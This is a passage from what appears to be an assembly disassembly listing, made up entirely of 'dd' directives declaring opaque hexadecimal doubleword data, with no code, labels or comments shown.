		dd 467AD5D6h, 0BD4FF20Bh, 276ECE05h, 428145F9h,	0E1DA67EBh
		dd 672C6F24h, 60340502h, 0FD586302h, 0BEE50783h, 3BDFC950h
		dd 7C0DC049h, 6AF4018Eh, 24DEEC35h, 88E2658Ch, 0D3ABAEh
		dd 8D2DD8F7h, 9B90ED7Ah, 0A36CE5h, 0F647B252h, 73F280D2h
		dd 11CA3008h, 9DE9300Ch, 4A4365Ah, 0E55100FBh, 64CB8141h
		dd 60C6C62Dh, 4AD73572h, 7BF7B9EBh, 4BE9FC4Bh, 0D324F910h
		dd 0B0800A13h, 2E3BF1BFh, 10CD4D73h, 52257FDEh,	0BD467B2Ch
		dd 1734D098h, 79134CC9h, 741F4E9Fh, 22105549h, 717D3EB2h
		dd 8816880Dh, 49CF8706h, 9BE4B006h, 9E2931A5h, 0C4CE7A46h
		dd 0F257658h, 72A36818h, 55188413h, 0FC917606h,	12C50597h
		dd 91C3112Ah, 7E72C657h, 30C9D891h, 0EF81F8F7h,	0DB2312E5h
		dd 0C503B226h, 0A1F94A50h, 1D0C6380h, 38B0EA83h, 81373E6h
		dd 0CCAA22A8h, 9B5DB2DDh, 2BB184B0h, 1F054803h,	0B475B7EFh
		dd 1FD5EA0Fh, 0FB86C4EFh
		dd 91354C9Ah, 4011341h,	0DC43F002h, 724AB77Bh, 87E92270h
		dd 0DD44AAF0h, 0D7208F6Ch, 88E8B743h, 2F279660h, 8F276E7h
		dd 5F0BBAA9h, 0DB79FC51h, 876180Bh, 0F1BA040Ah,	80B02C4h
		dd 0E920E55Eh, 50CFEEF5h, 25E91D57h, 0A4546FD9h, 0A8C87AC9h
		dd 4C6813h, 5F2B1D4Eh, 4486CF81h, 0D6D079FCh, 1FC4C6CAh
		dd 0E0EA05B3h, 0FF2B2A30h, 87BBA213h, 80EBDE78h, 60325187h
		dd 3941FCF2h, 0D5F80D5Bh, 3906E192h, 0C2D27C9Ch, 0F7561204h
		dd 0D74947A7h, 1A510580h, 0D99F605Ah, 0E929ECEEh, 0F92A9C2Dh
		dd 0EDD08BF4h, 99C418FFh, 79CE2077h, 8212E012h,	2EE8E0E1h
		dd 0DE336053h, 46AC680Ah, 0D6820481h, 73576F1Eh, 4A512800h
		dd 0C550BF5Eh, 0DC632D27h, 0BA93CEFCh, 497E1861h, 0ACD73B7Dh
		dd 0E80B85C6h, 87BBC694h, 0E4597445h, 8EBAD27Ch, 0AF0E5BB5h
		dd 0C4F8275Ch, 0A286696Ah, 8B00875h, 0F625BA2Ch, 385C5900h
		dd 204B81C6h, 3A2E2Ah, 4D28A811h, 0E927835Eh, 3CEC4FFh
		dd 9C45B861h, 96EACD89h, 68257CF8h, 448E0F79h, 0CAED93F8h
		dd 0F6E062Eh, 5721986h,	0E7E71BBFh, 0DF267B76h,	0C4C3AA45h
		dd 0EFF51771h, 58BAF5Dh, 1A6A4E15h, 2EE95605h, 0C964EF4Ch
		dd 43B90E84h, 86482090h, 62F8B673h, 0BB006779h,	4AB5C5DAh
		dd 0F3C1EAA4h, 0FF04E374h, 0B2BBDEC4h, 5089C923h, 0AF4CA53Fh
		dd 0A7272ADAh, 2801A0A0h, 0C0335FE9h, 552FEB33h, 0CC03F45h
		dd 198724C7h, 0EEEA30E9h, 4BD9ED23h, 0D21A8427h, 9008823Ch
		dd 0BF3BBB18h, 8038339Bh, 0C8FE4E02h, 7060FE5Dh, 2FAD2D24h
		dd 0AF7A5E0Fh, 755C9D49h, 2C876A82h, 5847915Dh,	853CBE2Ah
		dd 348C4108h, 0E1955F3Ch, 0A06C7F3Ch, 2E36802h,	5C792791h
		dd 827FCADh, 7E322D5Ah,	0C08D7128h, 1D7E0540h, 0F82A9F25h
		dd 58F99D71h, 0EF5FC59Dh, 18F4121Fh, 0D66AF6FAh, 0D2EECAEAh
		dd 7B10CDABh, 42B3D209h, 5CFDD6BFh, 0EA50FAA8h,	5639FCBFh
		dd 0DD6838C0h, 0BF25FB0Bh, 0DDC95EC1h, 22E9DC73h, 7DC9E2B5h
		dd 263FEA45h, 5B810FFAh, 97E7814Fh, 803FF9E1h, 32E4BBF4h
		dd 0E0316F2Dh, 12A1EF24h, 1A4DD340h, 8099687h, 0DF5A66DCh
		dd 6BFA67F2h, 7C397127h, 8E68700Dh, 4CE3435Ah, 0B85EF284h
		dd 44E9F01Fh, 163C835Dh, 27C11987h, 29A766E8h, 7435FE91h
		dd 0CE7787ADh, 0A1D45825h, 8E7D0202h, 906E2DCDh, 0CEAFE937h
		dd 38ECA6BEh, 12424843h, 304F9A81h, 0F1E02A07h,	7003B54Eh
		dd 0FB84612Ch, 35DC80D3h, 0BA12FD06h, 5A2BC498h, 0FA8B7457h
		dd 5203A5E3h, 3663A3BAh, 5A5B63CFh, 23DB121Fh, 0C3814085h
		dd 213465E5h, 0B5F4608Eh, 58B643AEh, 78F8C8F8h,	2DBF465Eh
		dd 0A7733018h, 68E12994h, 0A78864EFh, 581D1120h, 0B3309EACh
		dd 27AC13EEh, 0CBC8F77Ah, 82253067h, 50E4201h, 0A3EA5E07h
		dd 7FD7C1B6h, 0FE6C5221h, 703CABD7h, 590920E9h,	1F4FA190h
		dd 0C0EB6992h, 773EF9D0h, 0ECF3004Bh, 21EE6C36h, 942DE9D9h
		dd 772F292h, 3EBB02CEh,	19DEC65Ah, 159B74BFh, 957E9C66h
		dd 2DBF1357h, 9C54D118h, 269064EFh, 28E229EEh, 0D2AF2F61h
		dd 0C0E720A4h, 3D27597Ch, 0F43E6F6h, 0E5B05053h, 0AE6B6DA4h
		dd 0BEE142B8h, 4BAEE89Eh, 0E1FCF75Ah, 0B8500307h, 5D70E2F2h
		dd 89A3E17Fh, 0BD2B4F71h, 0D7E909C6h, 0BB32DFCFh, 0B281F47Ch
		dd 74A8E94Eh, 6BDEA548h, 0D4412D87h, 0D0BB005Ah, 0CF862556h
		dd 3B296441h, 32896E5h,	0EAE464B3h, 3051F92Dh, 0B36A3BDAh
		dd 0D7298E5h, 4174B1C1h, 765CBB68h, 40773D7Ch, 96139259h
		dd 0AF58E597h, 6800E2CFh, 7C580C43h, 839230E9h,	6C656AF4h
		dd 0D3945EBDh, 181BACBBh, 3B257BBBh, 9AAA7255h,	26A07F7Ah
		dd 3651653h, 3AE3301Ch,	3769BBC0h, 0EE2B4C2Ch, 0C501CFA8h
		dd 0E910C066h, 27D64A1h, 8676C605h, 0C542E006h,	0EE8708A0h
		dd 131E5D48h, 3DF82642h, 0AE409BC4h, 20CC7ECDh,	0F9714BEDh
		dd 500CD0ECh, 255A4364h, 0DED19211h, 53A76EAEh,	44F5496Bh
		dd 47206C01h, 621794CEh, 0D5F057FCh, 0AA9E09F2h, 3880F4E0h
		dd 0DD31585Ah, 8D2EBE4h, 0D15309BBh, 24F5DD00h,	7C14C24Ch
		dd 176AE801h, 0A4255688h, 18AF1FAEh, 0D820B378h, 38BE665Bh
		dd 0CB2D6816h, 9133463Eh, 26ADBEA4h, 0CFFEAE91h, 74EB7AD1h
		dd 7B0E2D44h, 0B327F365h, 0BA9553BEh, 847F03E1h, 38B6EA77h
		dd 0FCC652DDh, 0E21C5C38h, 0BC8271E4h, 3BC4A14Bh, 280E2DABh
		dd 0DBEF925Fh, 8568158Dh, 14E912D9h, 15098665h,	165DF2EBh
		dd 841D9C05h, 4E98FA0Eh, 0F52C410Eh, 617160E7h,	15782A01h
		dd 7E6C146h, 1CC5E131h,	457038FDh, 0D1EB28F2h, 5EF725D7h
		dd 1084E57Fh, 31417A14h, 392BBE80h, 552D061Fh, 0CCD8D13Fh
		dd 5A562D06h, 39650F8Fh, 758BB457h, 0C9EB4010h,	0ECA1A716h
		dd 60C4C9FAh, 0D995C390h, 2F4F5092h, 0EB55180h,	80C5FE6Bh
		dd 0EDC0F841h, 5B1D3F03h, 0F5CE275Eh, 59E80115h, 0CB6A6004h
		dd 0C33013ECh, 27E72D08h, 0D7A043DCh, 0FDC3ABB5h, 3F5FAE49h
		dd 3C475680h, 0B86474ECh, 7921EA93h, 7110986Bh,	5B552615h
		dd 0B45609FDh, 9FFBB4D7h, 4267F283h, 2AAD54Fh, 478740C5h
		dd 41C1B282h, 2F803DDCh, 6870676Ch, 3388EDB6h, 52273F8Bh
		dd 0BB3C2F78h, 2AAEDAC8h, 19E0AC4Eh, 0A86BE125h, 6859C2F5h
		dd 0C7185C8Fh, 310CF858h, 4EDF20CBh, 0C112BD54h, 3AD23DCDh
		dd 28A6B12Fh, 0E4C007D1h, 8031D005h, 0BC2498C4h, 1321B44Ch
		dd 3DB205BDh, 0CB01AA69h, 46F371AAh, 9577E30h, 4D34F622h
		dd 0A0451483h, 2955A49Ah, 408B0867h, 1021BB80h,	0B04352C7h
		dd 12150EB7h, 0E3C03FC6h, 28D07CA3h, 170CCBF8h,	182B1A25h
		dd 0C56005C4h, 0A06FE916h, 0D01EF6BEh, 0D24BB82Ch, 16B650B3h
		dd 1EE8D140h, 0FC2D03F8h, 89F24D71h, 36DF78C3h,	0B90C5801h
		dd 0C76296Ah, 713000D1h, 0D3874331h, 8D9D2F7h, 80C0EB98h
		dd 2330E584h, 0C03A1A07h, 6AFF0C0Ch, 52D06051h,	0F4A25BE9h
		dd 65BD0C0Eh, 0F41EADCFh, 354E918h, 94E7D110h, 172C2CABh
		dd 3D39AF5Ch, 5F434D20h, 64492906h, 6A419412h, 4CE9A60h
		dd 0F777264Fh, 9FEC83DBh, 41FDB4F2h, 876458C5h,	0B7127018h
		dd 0B754927Ch, 0F39FB550h, 3126084Ah, 20DCD82Fh, 0A9A38E0Bh
		dd 70F22E8h, 944BC5F6h,	491E27FEh, 0B4B786DFh, 0B146D32Dh
		dd 0E4CF2914h, 11A9BC95h, 2A7E6882h, 96907B46h,	0FF228C18h
		dd 97516CE6h, 483047E4h, 3AEB670Ch, 947C5C21h, 0BF0B5916h
		dd 68572E70h, 5316171Dh, 2246A040h, 93C53F24h, 5432B43Ch
		dd 61724A87h, 28E67D73h, 9936BC31h, 0B72F17D9h,	77999201h
		dd 5DC23AF5h, 54A51D53h, 4E70CB73h, 0E985D29Eh,	6AB99EA4h
		dd 0F00ECF07h, 0D651B23Ah, 0E10417E4h, 653F5FDAh, 786C3BC0h
		dd 9E1F7C55h, 35B709D6h, 48B148DFh, 17492D0Dh, 0F48B2BF4h
		dd 42CFA6BCh, 78D0BF02h, 1E5A231Fh, 5BE36BD9h, 2445D197h
		dd 0CA17C21Ah, 54E298DDh, 0BC77955Fh, 49CF5A47h, 9B67EAF0h
		dd 7CC527h, 232F6853h, 0E7A0505Eh, 0F1B726BAh, 37A362CCh
		dd 8D1F9F7h, 5C16A01Fh,	30EE2C02h, 0C44EF6E8h, 0E016EA0Dh
		dd 7618208Bh, 0CC7AB31h, 7ADA6712h, 6F1C4FACh, 8B74ADF3h
		dd 0E9080630h, 558B9FF6h, 0B4C26868h, 0BA962313h, 55B11C0Fh
		dd 0C621282Eh, 0D488059Eh, 801C458Bh, 28276F61h, 0D238305Ch
		dd 7048ED06h, 2F5B32E9h, 6857EF9Bh, 0E95D68FAh,	3D100D66h
		dd 0D1307C39h, 53D92CEFh
		dd 0B54E4FDAh, 5F9CEF73h, 0B4614382h, 13EBE04Ah, 62669469h
		dd 0F3FF46D0h, 0B592FD2h, 72262760h, 0B3E91266h, 0B0B5AAB7h
		dd 2C21F330h, 19EDDDF6h, 99AC10F4h, 1B122906h, 0E95E207Eh
		dd 4DB712FAh, 21E9853Eh, 0E091A88Dh, 270514BEh,	386027C9h
		dd 353FD0F7h, 0C0109E1Eh, 0E2E9C287h, 0A24B5FC9h, 5B1FC1Dh
		dd 98A05AD6h, 5E08A3C7h, 0BFD4C5FAh, 65268661h,	6B043301h
		dd 0E996D8A8h, 4D42860Ch, 2AD37769h, 0CB613DBh,	79F00AF2h
		dd 0C00BC2C0h, 0F5665A3Dh, 1ECA4880h, 3E5C9475h, 69460407h
		dd 0EA81152Eh, 23D106E6h, 34D4C9D9h, 0E9670BF4h, 0CD922DD5h
		dd 97B37857h, 4025A378h, 4F7FF476h, 25F0AD1Fh, 0F0FBD6B7h
		dd 64B435ECh, 16277C6Ch, 116B749h, 848B8989h, 789C4007h
		dd 7C5A9068h, 80126B5h,	82905059h, 2F7452F5h, 95B3F835h
		dd 52A7B0DDh, 187F2668h, 0A81E2F0h, 9C0CF42h, 455B5206h
		dd 136F5BF0h, 0C0220E58h, 5A422918h, 0DFE9620Dh, 0C501E15Fh
		dd 12712111h, 0C6DCF23Eh, 0C2B93B5h, 0E65075E2h, 0FD79C25Ah
		dd 0E9B66106h, 132C40ACh, 0F0884DB2h, 0AFF906A1h, 9F5FF036h
		dd 827DC96Ah, 0D91E6705h, 722980B7h, 0FD210155h, 546FA297h
		dd 0FC9AFD53h, 59174977h, 0C565A23Bh, 8832313Ch, 50816052h
		dd 1AA11806h, 0DE5C825Bh, 7DEA6A25h, 6569A20h, 0E9184494h
		dd 293E3375h, 10559DEEh, 0BA45DE0Bh, 4D692008h,	4452ADF4h
		dd 54D105CBh, 97C07395h, 0A0973BE7h, 5A0EBF4h, 1767021h
		dd 4DCCBEDFh, 57A535E9h, 0CA0D02A9h, 9B425859h,	55953A78h
		dd 0F4926A9Ch, 94A8B1BDh, 0BD02A928h, 315F16D4h, 4CC783F7h
		dd 0E2BB8417h, 0E955C1B7h, 4E344F88h, 5BD0B802h, 1E0B401Dh
		dd 8109F47Dh, 6D4CF60Bh, 0EE950019h, 5FCC08B7h,	8A3A610Eh
		dd 0E527388Ch, 76074580h, 27029022h, 0AE715786h, 3AAA003Ch
		dd 0CF21E7A4h, 34F5B59h, 54D05696h, 0FB4A03FAh,	6DEF086h
		dd 0CEE8D64Ah, 0BE09A819h, 42C87E21h, 657B265h,	4F17BEB9h
		dd 69BD8832h, 0E9D829CCh, 64829F27h, 0C6A13888h, 2B170768h
		dd 5626659Ah, 1CF70026h, 0DBE1538h, 53B0E37Fh, 8DE9CE16h
		dd 0A2BA7485h, 6388A5A3h, 0F9114B7Bh, 7E71D24Bh, 0FE2AEFB3h
		dd 5D8A6631h, 0C488E36Bh, 0F1C003EEh, 39F7D974h, 0E90901F2h
		dd 0DE74F692h, 86F08469h, 1854B2EEh, 0A278C329h, 56F63853h
		dd 10FD52A7h, 0BCC289DAh, 847D5A6Bh, 0FCBA291Dh, 12479E5Eh
		dd 0ED601A7Fh, 5BADC66Fh, 5E51ACE1h, 1168B1A1h,	946BD313h
		dd 0EEB213F9h, 7B052785h, 73A3D733h, 5BC02E79h,	0C45FDB76h
		dd 0AE96FEECh, 0BD085979h, 2F2C9EF4h, 0D095DD96h, 0F970D7CAh
		dd 3FE9A119h, 14B57F64h, 0ABEE288Ch, 0BCB4C329h, 379DA816h
		dd 0B78C89F7h, 0DA9F2D68h, 25B5BDEh, 52ED68B4h,	0D03CF9A2h
		dd 0A0024106h, 3F7C068Dh, 281C5FEDh, 147D253Dh,	0BF572DA9h
		dd 0E915695Ah, 28A14EC4h, 0ED20B741h, 0F6AEAA63h, 7CEF8CC4h
		dd 0DCBDB292h, 33C7CBC7h, 43E28997h, 2B250058h,	9762D5F6h
		dd 0F15D29CBh, 67DA0C5Ah, 0BE98AD0Ah, 0B1614724h, 8D2F0769h
		dd 5F745CB2h, 0EB3A7F02h, 0E102DC5Dh, 0C22F7B68h, 830B5377h
		dd 68565255h, 406062A0h, 0D6484490h, 0C6E12907h, 0DCA5BAAEh
		dd 0D542F66h, 9587E950h, 0E8F2B15Ah, 325721E7h,	0DE881139h
		dd 439BC05Fh, 98BF29EAh, 9A48DD57h, 7606BF66h, 95C2C03h
		dd 85FE4E91h, 0B6DABA45h, 0D0F79548h, 257A575Dh, 0B73E0F09h
		dd 0BE005702h, 0FC2D4048h, 171C030Fh, 9DAC7229h, 0F90252DAh
		dd 61493DACh, 0CE0E256h, 747DCA54h, 68A2322Eh, 90657FA5h
		dd 0DF4E9D8Bh, 68B44798h, 0E81B0D24h, 2C032B00h, 4AA4E99Bh
		dd 5121BE91h, 0DC48695Ah, 8AF9B7EBh, 0D2C23813h, 0C914575Bh
		dd 95BA9495h, 8B93E1A4h, 0D81650DAh, 4B8C3B02h,	0E208EEC1h
		dd 4F32118h, 2CFD2881h,	0C1C65BD1h, 842BC668h, 2C29AECh
		dd 41E9535Ch, 43815627h, 683B5D5Fh, 581F90B5h, 884D0524h
		dd 81035029h, 0D20EE0CDh, 0A626796Bh, 7775010Eh, 62495AA3h
		dd 0D0E066Bh, 4110C56h,	127F86C1h, 1AE8EB68h, 0DE7EED27h
		dd 0F815E989h, 4AB8058Ah, 0EB70EA5Fh, 3B826574h, 6EE20C36h
		dd 7BCC194Fh, 1DAFCA9h,	6DC98146h, 3F4D9914h, 324733C3h
		dd 0C4365928h, 0B9171A54h, 0BE2940A4h, 0A068E123h, 93C83818h
		dd 23C9C106h, 0E1805C47h, 57733079h, 4AE7BD8Dh,	0D265D730h
		dd 48EA09D1h, 45282167h, 0C7B0BA8h, 2180433Fh, 7E796560h
		dd 95C78B5h, 6E903A06h,	43D0F700h, 315F823Ch, 5D25B5FDh
		dd 329F80FFh, 580D2960h, 740025Ah, 0D1012558h, 555AE7FCh
		dd 0FDBF51F9h, 1936A983h, 50F74A7Ah, 1C8003DAh,	61F240EFh
		dd 0E928C27Ch, 0BC39172Ah, 5C3EF07Dh, 0CEAFCE9Fh, 486809E3h
		dd 6EDD546Ah, 0D0313EECh, 58303105h, 9DFC5B5Ah,	0C18CEFD3h
		dd 0FA6C4EB7h, 0C6689342h, 871BDD48h, 0B8D94BCBh, 5744A769h
		dd 0E912CE3Ch, 0F3BF7147h, 18BA107Bh, 6551EC4Fh, 0ECA85A98h
		dd 254D961Ch, 0E7964EF7h, 3CD0FD02h, 99F8893Bh,	400EAAF0h
		dd 6D87907Eh, 7C481933h, 1C90046Eh, 7C803A5Ch, 25B90870h
		dd 69FD550Dh, 42985DE6h, 0F1F79BE6h, 69F5D4BFh,	0CC4DD1D7h
		dd 0FE805FA4h, 11525CC5h, 97F1302Fh, 16B014E9h,	0A5A348E9h
		dd 4018E8F6h, 60833E3Bh, 5E26B513h, 1639014h, 4CDF46F7h
		dd 8043BCE9h, 722ACF35h, 7B680DD8h, 2CF4ACC9h, 8F1B1520h
		dd 0B10BD529h, 69717042h, 0F7034D24h, 81136184h, 1B63F921h
		dd 3BA7F10h, 3FEDB7BDh,	5E85D2CFh, 34F7274Fh, 4F9FB0E5h
		dd 84FCE917h, 0DBE85ECAh, 30F6DDD2h, 29134A29h,	42AC4637h
		dd 668274Dh, 0A2910CF4h, 0A47CEEF1h, 5CF1EA25h,	0A1E38885h
		dd 424ABB00h, 256831FEh, 4346471Dh, 0D8845491h,	81AB5053h
		dd 6C62A64Eh, 0CCAAD366h, 4C4EF989h, 1292B8CCh,	0EA013B02h
		dd 3F5E37D0h, 0FA87A0B1h, 389C5DE9h, 43286809h,	0F7C27D9Bh
		dd 0E917F358h, 7D405D92h, 0B039F181h, 896B1971h, 2EB1CC8h
		dd 0D02E4004h, 9C38E268h, 0E8B6620Fh, 0F788B2DEh, 7C58252Dh
		dd 47E2514Fh, 8AAFC4h, 3C192548h, 5470FFDh, 0BBA1C803h
		dd 2BBC77E9h, 0AA4A64EEh, 13C62EB8h, 0B84EBB30h, 0B29475C5h
		dd 0F66838BEh, 5EBBF95Bh, 0AE3E97CBh, 12EB039h,	5DD05E8Fh
		dd 3893C42h, 6B7F8DC2h,	380C051Eh, 0EC4F9D1Dh, 2E3D3CF4h
		dd 0D5A58610h, 0F798ABE7h, 4B06687Eh, 0C5FAA928h, 6A5168Ah
		dd 0AA584ADCh, 7D6ECAC3h, 0D7E9167Eh, 0ED90C496h, 621F8412h
		dd 432E3B04h, 908068ABh, 0F0F20D4Fh, 0EEED97C4h, 0EF1296A3h
		dd 0C8FAF56Ch, 2C28145Ah, 0EA508901h, 0C34BE908h, 155D81ECh
		dd 1BF3872Dh, 1E84D527h, 0CFB0FBBEh, 255D9729h,	0A4B5E8D4h
		dd 0C540A47Eh, 5E573D1Ah, 8E7D4089h, 5F98BD71h,	0DE82A6E8h
		dd 770905DDh, 0B38AEB1Ch, 15D4E9C2h, 575017C8h,	73CF59BDh
		dd 0CBB27407h, 0D40444B4h, 255B7181h, 0C9FE839Dh, 8CD97CACh
		dd 0A4EE5112h, 0F503BBEEh, 312A1022h, 33BEE1FBh, 4C8DF73Ah
		dd 1D7D1F52h, 6CE94482h, 0C8197E8Ah, 0EA4C12D9h, 0D910CF74h
		dd 0C3914BC0h, 3980413Ch, 39A63F69h, 0D873F740h, 455B13FCh
		dd 0BFB468ADh, 8B160A64h, 686BDDBBh, 816B474h, 87173FF9h
		dd 0C2CCEEE2h, 15D74089h, 6961B941h, 1B8D7281h,	2B10B168h
		dd 1882D535h, 81427E78h, 2E3972EEh, 1CF52E6Fh, 0E9960800h
		dd 3C8FF7C1h, 0CF4778BAh
		dd 341AA262h, 65EB8001h, 351DEE2Ah, 5BEED665h, 93D9617h
		dd 3C388989h, 810205ACh, 132CF67h, 0BBDAFFF8h, 8E00C15Bh
		dd 60163DF6h, 0F031247Ah, 9D355847h, 13445C26h,	2076D027h
		dd 51079AF4h, 4636852h,	0DA093845h, 0FB8AE4B9h,	316B1D21h
		dd 2A055BBEh, 4F7AF7F6h, 3EF9B17Bh, 0E9B085B9h,	48952568h
		dd 808BD6F0h, 541EAFBEh, 0A59659F9h, 0D8FA34C4h, 0ECB28823h
		dd 4A90B5F4h, 0B1002A41h, 76B151DBh, 0F332E4C9h, 3A5026FCh
		dd 0BDA5E8B0h, 58F5CFE2h, 94835E32h, 624F89E0h,	0BF57C0C9h
		dd 0EB65FA5h, 2003E907h, 49DCEA16h, 183CBCD9h, 6356585Dh
		dd 29D4B8B5h, 4F67D4F5h, 0FFCAF417h, 84D338D8h,	90210620h
		dd 518F25D3h, 0C4788E5Eh, 6AC89D2Bh, 283FC3B2h,	0C05A17D0h
		dd 10C0703h, 7CE9C9F6h,	0F05CB7AFh, 0F3DFA042h,	0F02FB87Fh
		dd 6841CBD1h, 0E797214Ch, 2BD5F18Ch, 88C161FDh,	2F25E9E1h
		dd 0EDEF7584h, 0E953A19Eh, 481F50C6h, 6887612Dh, 0FB673CDAh
		dd 8839E7B2h, 14C72FF0h, 475A655Ah, 45B7BBD5h, 88481375h
		dd 53F2BA41h, 0FE5450C4h, 0E95ECC9Bh, 0CE755A2Dh, 0E98B78BEh
		dd 12F6CB27h, 52668EA4h, 70BD0240h, 0C164AA45h,	0B4589632h
		dd 724A8259h, 5D1E56h, 5C937A97h, 0AD0A0CC0h, 0B829CAA1h
		dd 0FD38E359h, 0B036990Bh, 0BB53C8A2h, 81008A45h, 0AA30D7CAh
		dd 0BE2EC6Bh, 1AA431E8h, 6A730D80h, 4A126EB7h, 964201E9h
		dd 0DC3EEA68h, 0F1A0652Bh, 9CB82E91h, 0FFA3BFF4h, 39DD5789h
		dd 0A2B6F47h, 13865FD1h, 0BE06494Dh, 91081A51h,	125E245Ah
		dd 0BA45A05Fh, 0F12F4C96h, 845490Dh, 28A81188h,	22340BD1h
		dd 31D04996h, 5D4D1032h, 0C092BBEAh, 0B0EB7FFCh, 13F42459h
		dd 402D87B3h, 36054120h, 77088F71h, 0F8298611h,	330FDD1Eh
		dd 0BDEB551Fh, 0C8E93215h, 4ABE02FCh, 0DD24AA07h, 0F8D784CAh
		dd 0FEE912F6h, 45F2BF31h, 4F0B5C2Fh, 0A7CAEDFFh, 9752145Fh
		dd 9D7A1E55h, 0E912CB1Ch, 0B2EE8993h, 0B3BFD2FEh, 0B4124E45h
		dd 8C9F9ACh, 0AD0D348h,	94629794h, 0F8020EBBh, 0A9512D2Ch
		dd 0C24DB342h, 966D56B4h, 0D356AAEEh, 0A4163292h, 1AAE41D1h
		dd 84770625h, 8ABD2059h, 0F882D605h, 7CA10869h,	4FC3310Eh
		dd 0C9DD25D8h, 246873CCh, 892C28D1h, 0FB5C9322h, 0FEC3818Bh
		dd 0BF78BBEAh, 0E4C0F6EAh, 0C1809E5Fh, 260278E7h, 50896073h
		dd 30FAEE01h, 5DCDFA4Fh, 7F857BECh, 416C4642h, 0A014000Ch
		dd 152D4D46h, 0F0B6F75Dh, 6E9398A0h, 0EE204681h, 0D410227h
		dd 63CB6862h, 20C2BEB3h, 0E2C99E7h, 97F96652h, 0D69A32C2h
		dd 8B08F677h, 20218868h, 2A5DFCE9h, 0E9623CFFh,	2480C24Ah
		dd 9566F788h, 1AE0084h,	33C86BBh, 4ABC8F60h, 8018651Fh
		dd 446DCA95h, 1F014E3Bh, 0FAC05053h, 0E97EBE16h, 33EA602Fh
		dd 0A651047h, 0BD554801h, 47D5C1Dh, 69ABFD7Eh, 3B7E0298h
		dd 5C5B0626h, 452C250Ah, 723CD509h, 950908A2h, 0F95D79C2h
		dd 0A7B740C6h, 5B12F908h, 32EE7F68h, 0EB50F6E1h, 40826D75h
		dd 625415ABh, 0D4C21648h, 0CA3033D9h, 22A09B6h,	338CBD3Eh
		dd 5B7CA5E7h, 4DB3505h,	0E939C3AAh, 801D5A3h, 4264E181h
		dd 16996869h, 7DC765C2h, 3F833BD1h, 1BCD9201h, 59D6F8Ch
		dd 312C3BE3h, 7D37A4F7h, 851852h, 3C6E6DEDh, 0B1756865h
		dd 0B54308D8h, 0D6295F04h, 0B14BE2EBh, 0B724BFE9h, 0E2E24E89h
		dd 805CB07Ch, 688512F1h, 7531AB9Dh, 6BF79BB7h, 9B508ADCh
		dd 86015E4Ch, 47D4FACh,	5A5072C3h, 7DEADBCh, 2D249EF2h
		dd 0CBEFE0CFh, 0BF682337h, 8812B72h, 2167E85Ah,	41B7F1B7h
		dd 3A2590E9h, 0CDAED335h, 47A47BE3h, 54254079h,	56515F01h
		dd 575D7BEh, 0A16E872Fh, 6ED8C88Bh, 4C07AAACh, 0E02F6D17h
		dd 514D06E6h, 0FC181861h, 923B9157h, 0F389D1CCh, 510B08FCh
		dd 0D3548208h, 0D02902C6h, 206256C0h, 0DC379530h, 487E2D5Ah
		dd 7701FB5Dh, 316F7A7Ch, 57C761DFh, 0E35D794Ch,	0C6D3F7E8h
		dd 0D014CC9Dh, 1B115B02h, 8FFE2906h, 5E4B0820h,	89B237A8h
		dd 5828565Dh, 3C2FFBDh,	0C6AF41E9h, 7BC5A103h, 0B7BE9AFCh
		dd 58907CE4h, 2D10EE20h, 8CDFF581h, 0AED946Bh, 1A4E629Ah
		dd 6EFFE934h, 0F5D623Fh, 3A54F8E9h, 30FABD00h, 9F21132Ch
		dd 4C43A082h, 58C12000h, 9D7AE680h, 0EB26007Dh,	9F2BFAE9h
		dd 85EF72F6h, 492773Dh,	9EC06CCDh, 10EB2404h, 82EF4ACFh
		dd 0FC00FE11h, 0BE0DEC27h, 7BAC59A9h, 57EB5D40h, 0B51FD962h
		dd 749D7E50h, 87E5B83h,	8E88E918h, 1F0DEE39h, 0D7036C4Eh
		dd 0E9248CF5h, 12390B25h, 0BDE86021h, 0A5756Ah,	0B353B4B8h
		dd 5AD03163h, 35004071h, 5D0A38C6h, 0BF09BD68h,	18974DC6h
		dd 8133363Dh, 1666C5Eh,	4E685350h, 0D4881D46h, 0A728A883h
		dd 0B2E91462h, 0AFFD098Dh, 5B223403h, 0D67FC5EDh, 0E5AD70A4h
		dd 0F54A3A8Ah, 447E9AE0h, 0DA95C3CDh, 0E79C80EFh, 77FE251Ch
		dd 4107CA48h, 0D397E4B1h, 34CF4647h, 0B7E57509h, 285BA8A0h
		dd 8D01DF25h, 384704DCh, 0C0ECAEF8h, 0DBF68050h, 1696F028h
		dd 2FBAE408h, 8E384AD0h, 64AB4A0Ah, 8F6834BDh, 60FA4A8Fh
		dd 3DB6E961h, 7DEB27C0h, 0A1030E49h, 0BA6337ACh, 0B2CFEC4Bh
		dd 9BB51868h, 2185D97h,	0C7BBAA73h, 21A8FA13h, 6E5DBF25h
		dd 0C38D9673h, 0EF8506ACh, 0AB93F5A3h, 4A5648A4h, 0E4ADCDCEh
		dd 79950369h, 5DBBC06h,	0FBACB6B4h, 33B0950Eh, 50B3BFACh
		dd 2EFD0FF1h, 885B71BAh, 525800ADh, 68551D53h, 579B0BB9h
		dd 4DE7807Fh, 3C4E0939h, 0C18EEB89h, 0B97D05E3h, 46061DC8h
		dd 0C3C5E01h, 9BC5290Bh, 0E912012Bh, 5D3F2A8Ch,	12CCC579h
		dd 0B0DB137Ah, 735E69F3h, 841AEEDh, 23CBC200h, 0F80A4B33h
		dd 0E8BB26CFh, 2AE9D802h, 0A5DA5E3Bh, 0DEA7F4F6h, 48578AD1h
		dd 93DF69E5h, 8005B08Fh, 23E9277Ah, 38BE3FE0h, 25551B1Bh
		dd 0B2329020h, 3FE89DDEh, 68E25EF0h, 0FB077A2Ah, 2A8E5D55h
		dd 2BA429AAh, 0FBF528AEh, 22AF2845h, 0C31BCD7h,	1A15E956h
		dd 0B419E3Dh, 4B917960h, 67FC320Ch, 280991DCh, 0CFF7F6C3h
		dd 0EA49B4C4h, 40360A8Ch, 0CDFC5A01h, 6600A194h, 26B45059h
		dd 80CC24FEh, 0DDC01CC1h, 83C48102h, 0BF58E328h, 8C4E725Eh
		dd 12A1CBFEh, 0DFF62FBDh, 31A04A78h, 737815F2h,	0D3FC4A8Ah
		dd 6A329DB1h, 4AC90441h, 5CEC1207h, 0C042822Dh,	0FC046AFDh
		dd 88EF087Eh, 217EEA8Eh, 0D601B1E2h, 0C048F27Eh, 0D369D2C5h
		dd 0B08C9811h, 29088117h, 7B11F2E2h, 4D7249E9h,	765CC125h
		dd 7C139F09h, 0B1D44413h, 79BA3BB4h, 67384Ch, 0FE10BF3Ah
		dd 94B6CAE9h, 2EAF4FD1h, 802FA084h, 5B408836h, 8BA0155Eh
